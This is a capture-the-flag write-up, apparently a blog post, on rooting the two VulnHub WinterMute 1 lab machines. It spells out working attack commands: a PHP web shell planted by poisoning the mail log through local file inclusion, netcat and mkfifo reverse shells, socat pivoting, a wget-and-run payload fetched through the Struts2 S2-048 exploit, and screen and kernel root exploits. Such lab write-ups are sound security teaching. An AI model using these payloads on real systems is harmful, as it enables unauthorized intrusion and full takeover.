WinterMute One – Writeup

Details

The machine is https://www.vulnhub.com/entry/wintermute-1,239/

This challenge comes in two parts, a machine on the same network as my kali machine, and another on a separate network linked to the first target. Instructions to set this up are included with the download.

Recon Phase

I first had to locate the first target

root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00066s latency).
MAC Address: 0A:00:27:00:00:14 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.0012s latency).
MAC Address: 08:00:27:A8:D1:9E (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.0010s latency).
MAC Address: 08:00:27:E6:13:1C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.75 seconds

Then scan it for open ports

root@kali:~# nmap -sV 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.00068s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
25/tcp   open  smtp    Postfix smtpd
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
3000/tcp open  http    Mongoose httpd
MAC Address: 08:00:27:E6:13:1C (Oracle VirtualBox virtual NIC)
Service Info: Host:  straylight
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.26 seconds

Hunting Shell #1

So I checkout the webserver on port 80 at http://192.168.56.102

Screenshot 1

Which auto forwarded me to

Screenshot 2

I then wanted to see what was on port 3000, so I went to http://192.168.56.102:3000/ and got redirected to http://192.168.56.102:3000/lua/login.lua?referer=/

Screenshot 3

It was kind enough to tell me the default login was admin:admin, so I tried it

Screenshot 4

And poked around a bit until I got to http://192.168.56.102:3000/lua/flows_stats.lua

Screenshot 5

This revealed two new sections on the port 80 web server called /freeside and /turing-bolo, I started by trying freeside at http://192.168.56.102/freeside/

Screenshot 6

Then /turing-bolo at http://192.168.56.102/turing-bolo/

Screenshot 7

Screenshot 8

I clicked submit on "Case" which redirected me to http://192.168.56.102/turing-bolo/bolo.php?bolo=case

Screenshot 9

The url indicated it was loading from files, and the files listed in the text matched the name on the drop down box before. So I checked if the files were actually there, by testing molly.log at http://192.168.56.102/turing-bolo/molly.log

Screenshot 10

This was a good sign, so I tested case.log at http://192.168.56.102/turing-bolo/case.log

Screenshot 11

This indicated the ?bolo param in the url for bolo.php loaded a file with the param name appended with .log like

[PARAM].log

This meant it may be vulnerable LFI but only for files with .log extension, I tested this by using a php filter, injecting

php://filter/convert.base64-encode/resource=case

By going to http://192.168.56.102/turing-bolo/bolo.php?bolo=php://filter/convert.base64-encode/resource=case

Screenshot 12

Which was the encoded source code for ?bolo=case, I then confirmed directory traversal by using

http://192.168.56.102/turing-bolo/bolo.php?bolo=php://filter/convert.base64-encode/resource=../turing-bolo/case

And direct addressing with

http://192.168.56.102/turing-bolo/bolo.php?bolo=php://filter/convert.base64-encode/resource=/var/www/html/turing-bolo/case

I was planning to turn a log into a web shell, I tried to find the apache2 log file into a shell, but I couldn't find one I could influence, but I remembered the smtp port being open, so I looked for the mail log file, whcih should be in /var/log/mail.log, so I went to http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail

Screenshot 13

Once I had the log, I needed to set it up as a shell, so I used netcat to do it

root@kali:~# nc 192.168.56.102 25
220 straylight ESMTP Postfix (Debian/GNU)
MAIL FROM:<fake@email.com>
250 2.1.0 Ok
RCPT TO:<?php echo system($_POST['cmd']); ?>
501 5.1.3 Bad recipient address syntax

Note: I used POST not GET for this

With the log file poisoned I just had to trigger it

root@kali:~# curl -X POST http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=id"
[SNIP]
Dec 28 17:49:16 straylight postfix/smtpd[825]: connect from unknown[192.168.56.101]
Dec 28 17:50:29 straylight postfix/smtpd[825]: warning: Illegal address syntax from unknown[192.168.56.101] in RCPT command: uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[SNIP]

With confirmed RCE I checked for netcat

root@kali:~# curl -X POST http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=which nc"
[SNIP]
/bin/nc
[SNIP]

And setup a listener to receive a shell

root@kali:~# nc -nlvp 4444

Using the RCE I spawned a reverse shell

root@kali:~# curl -X POST http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=nc 192.168.56.101 4444 -e /bin/bash"

In the listener

connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 39852
$

Root Hunting Round 1

I started by making a nicer shell

$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@straylight:/var/www/html/turing-bolo$

I know this machine is on a network with the second target, so I looked at the config

www-data@straylight:/var/www/html/turing-bolo$ ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.102  netmask 255.255.255.0  broadcast 192.168.56.255
        inet6 fe80::a00:27ff:fee6:131c  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:e6:13:1c  txqueuelen 1000  (Ethernet)
        RX packets 901  bytes 69205 (67.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 890  bytes 323204 (315.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
enp0s8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.212.3  netmask 255.255.255.0  broadcast 192.168.212.255
        inet6 fe80::a00:27ff:feea:9470  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:ea:94:70  txqueuelen 1000  (Ethernet)
        RX packets 107  bytes 12464 (12.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20  bytes 2556 (2.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 19897  bytes 2071968 (1.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 19897  bytes 2071968 (1.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

As I'm on the 192.168.56.xxx range, the target must be on the 192.168.212.xxx range on interface enp0s8, but to pivot well root privs on this server would be useful, so I began to hunt down methods

www-data@straylight:/var/www/html/turing-bolo$ find / -perm -u=s 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/bin/screen-4.5.0
/bin/ping
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

All the normal things were there, but it was unusual for screen to be there, and it nicely gave me the version number, so I put it into exploit-db and found https://www.exploit-db.com/exploits/41154, which I saved on my machine as exploit.sh and transferred to the target

root@kali:~# nc -nvlp 2222 < exploit.sh
www-data@straylight:/var/www/html/turing-bolo$ cd /tmp
www-data@straylight:/tmp$ nc 192.168.56.101 2222 > exploit.sh

Then back in the listener

connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 49322

With the file transferred, I made it executable and ran it

www-data@straylight:/tmp$ chmod +x exploit.sh
www-data@straylight:/tmp$ ./exploit.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function 'dropshell':
/tmp/libhax.c:7:5: warning: implicit declaration of function 'chmod' [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^~~~~
/tmp/rootshell.c: In function 'main':
/tmp/rootshell.c:3:5: warning: implicit declaration of function 'setuid' [-Wimplicit-function-declaration]
     setuid(0);
     ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function 'setgid' [-Wimplicit-function-declaration]
     setgid(0);
     ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function 'seteuid' [-Wimplicit-function-declaration]
     seteuid(0);
     ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function 'setegid' [-Wimplicit-function-declaration]
     setegid(0);
     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function 'execvp' [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^~~~~~
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
There is a screen on:
    3103..straylight    (Detached)
1 Socket in /tmp/screens/S-www-data.
#

This spawned me a shell

# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

The first machine was rooted, so I grabbed its flag

# cd /root
# ls -la
drwx------  4 root root  4096 Jul  3 20:33 .
drwxr-xr-x 23 root root  4096 May 12  2018 ..
-rw-------  1 root root     0 Jul  3 21:59 .bash_history
-rw-r--r--  1 root root   570 Jan 31  2010 .bashrc
drwxr-xr-x  2 root root  4096 May 12  2018 .nano
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
-rw-r--r--  1 root root    66 May 12  2018 .selected_editor
-rw-------  1 root root 12459 Jul  3 20:33 .viminfo
-rw-------  1 root root    33 Jul  1 19:17 flag.txt
-rw-------  1 root root   778 Jul  1 19:23 note.txt
drwxr-xr-x  2 root root  4096 May 12  2018 scripts
# cat flag.txt
5ed185fd75a8d6a7056c96a436c6d8aa

I then grabbed the note

# cat note.txt
Devs,
Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her interact w/ the AI via a web-based GUI.
The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access on the Freeside network. It is within out internal admin network, but still, it should be off the network completely. For the sake of humanity, user access should only be allowed via the physical console...who knows what this thing can do.
Anyways, we've deployed the war file on tomcat as ordered - located here:
/struts2_2.3.15.1-showcase
It's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure this thing.
Regards,
Bob Laugh
Turing Systems Engineer II
Freeside//Straylight//Ops5

Shell Hunting #2

Without nmap on this machine, I had to carry out my recon another way, but first I made the shell nicer again

# python -c "import pty;pty.spawn('/bin/bash')"
root@straylight:/etc#

And went back to /tmp

root@straylight:/etc# cd /tmp

I used a bash one-liner to calculate which IPs had hosts up on the 212 range, if the host was up the words "bytes from" would be in the output so I could grep pings

root@straylight:/tmp# for i in $(seq 1 255); do ping -c 1 192.168.212.$i; done | grep "bytes from"
64 bytes from 192.168.212.2: icmp_seq=1 ttl=255 time=0.292 ms
64 bytes from 192.168.212.3: icmp_seq=1 ttl=64 time=0.012 ms
64 bytes from 192.168.212.4: icmp_seq=1 ttl=64 time=0.823 ms

As this machine was 192.168.212.3 it was likely the next target was 192.168.212.4, so I setup another one-liner to act as a port scan, using grep again but this time with -v which meant it would show any which didn't include the provided data

root@straylight:/tmp# for i in $(seq 1 65535); do nc -nvz -w 1 192.168.212.4 $i 2>&1; done | grep -v "Connection refused"
(UNKNOWN) [192.168.212.4] 8009 (?) open
(UNKNOWN) [192.168.212.4] 8080 (http-alt) open
(UNKNOWN) [192.168.212.4] 34483 (?) open
(UNKNOWN) [192.168.212.4] 55327 (?) : Connection timed out

With the 3 open ports in place, I needed to tunnel them onto the same network as me, so I checked to see if socat was available

root@straylight:/tmp# which socat
/usr/bin/socat

As it was, I used it to tunnel each port onto the 56 range

root@straylight:/tmp# socat TCP-LISTEN:8009,fork,reuseaddr TCP:192.168.212.4:8009 &
[1] 14514
root@straylight:/tmp# socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.212.4:8080 &
[2] 14521
root@straylight:/tmp# socat TCP-LISTEN:34483,fork,reuseaddr TCP:192.168.212.4:34483 &
[3] 14524

Note the & to cause the command to background and not hang the shell

Then using nmap I confirmed this had worked

root@kali:~# nmap -sV -p- 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.0014s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE VERSION
25/tcp    open  smtp    Postfix smtpd
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
3000/tcp  open  http    Mongoose httpd
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp  open  http    Apache Tomcat 9.0.0.M26
34483/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
MAC Address: 08:00:27:E6:13:1C (Oracle VirtualBox virtual NIC)
Service Info: Host:  straylight; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.72 seconds

I went to the tomcat server on port 8080 at http://192.168.56.102:8080

Note: Even though I visit 192.168.56.102, it is forwarding me to 192.168.212.4

Screenshot 14

In the note previously, it mentioned they had deployed something onto tomcat at /struts2_2.3.15.1-showcase, so I went to take a look at http://192.168.56.102:8080/struts2_2.3.15.1-showcase

Screenshot 15

I found an exploit for this on exploit-db https://www.exploit-db.com/exploits/42324, but to be able to make it call back with a shell I needed to forward a port the other way

root@straylight:/tmp# socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.56.101:6666 &
[1] 20999

And opened a listener for it

root@kali:~# nc -nvlp 6666

I saved the exploit as struts.py and tried to spawn a shell

root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc 192.168.212.3 6666 -e /bin/bash"
[*] exploit Apache Struts2 S2-048
[+] command: nc 192.168.212.3 6666 -e /bin/bash

Note: It calls back to the 212 but that forwards it to me on the 56 range

Nothing came through, so I tried it again without -e encase that option wasn't available

root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc 192.168.212.3 6666"
[*] exploit Apache Struts2 S2-048
[+] command: nc 192.168.212.3 6666

Then in the listener

connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 51500

So it connected, so I tried more reverse shells, making sure a listener was open each time

root@kali:~# nc -nlvp 6666

I couldn't get any reverse shells to fire, and I suspected this was because Java Runtime didn't support linux piping etc. So I decided to transfer a file to execute and spawn the reverse shell, first I needed to expose my port 80 to the target so it could get the file

root@straylight:/tmp# socat TCP-LISTEN:8888,fork,reuseaddr TCP:192.168.56.101:80 &
[2] 22133

And then setup a file in /var/www/html called callback.sh which contained

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.212.3 6666 >/tmp/f

And turned on the apache server

root@kali:~# apache2ctl start
Invoking 'systemctl start apache2'.
Use 'systemctl status apache2' for more info.

And triggered and exploit to pull it

root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.212.3:8888/callback.sh -O /tmp/callback.sh"
[*] exploit Apache Struts2 S2-048
[+] command: wget http://192.168.212.3:8888/callback.sh -O /tmp/callback.sh

Triggered a chmod

root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/callback.sh"
[*] exploit Apache Struts2 S2-048
[+] command: chmod +x /tmp/callback.sh

And fired it

root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/callback.sh"
[*] exploit Apache Struts2 S2-048
[+] command: sh /tmp/callback.sh

Back in the listener

connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 52822
/bin/sh: 0: can't access tty; job control turned off
$

A shell connected back, from the second target machine

Root Hunting Round 2

So who am I?

$ id
uid=1000(ta) gid=1000(ta) groups=1000(ta),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

It didn't have python to make it nicer, so I just started hunting for a way to get root

$ uname -a
Linux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

It seemed vulnerable to https://www.exploit-db.com/exploits/44298, so I checked for gcc

$ which gcc

It wasn't there, so I downloaded the exploit to /var/www/html on my machine as priv.c and compiled it locally

root@kali:~# gcc priv.c -o priv

And moved it to the target

$ cd /tmp
$ wget http://192.168.212.3:8888/priv
--2018-12-29 12:59:40--  http://192.168.212.3:8888/priv
Connecting to 192.168.212.3:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17880 (17K)
Saving to: ‘priv’
     0K .......... .......                                    100% 2.83M=0.006s
2018-12-29 12:59:40 (2.83 MB/s) - ‘priv’ saved [17880/17880]

Chmoded it

$ chmod +x priv

Then ran it

$ ./priv
#

A shell popped

# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(ta)

I could grab the flag now

# cd /root
# ls -la
drwx------  8 root root 4096 Jul  3 21:30 .
drwxr-xr-x 23 root root 4096 May 18  2018 ..
-rw-------  1 root root  257 Jul  3 21:52 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 May 18  2018 .cache
-rw-------  1 root root   33 Jul  1 09:00 flag.txt
drwxr-xr-x  2 root root 4096 May 18  2018 .nano
drwxr-x---  2 root root 4096 May 18  2018 .oracle_jre_usage
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   75 Jul  1 06:47 .selected_editor
drwx------  2 root root 4096 Jul  3 21:00 .ssh
drwxr-xr-x  6 root root 4096 Jan 27  2017 struts2
-rw-r-----  1 root root   82 Jul  1 06:46 velocity.log
drwxr-xr-x  2 root root 4096 Jul  1 17:58 .vim
-rw-------  1 root root 4292 Jul  3 21:30 .viminfo
# cat flag.txt
be3306f431dae5ebc93eebb291f4914a

With that the challenge is done

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.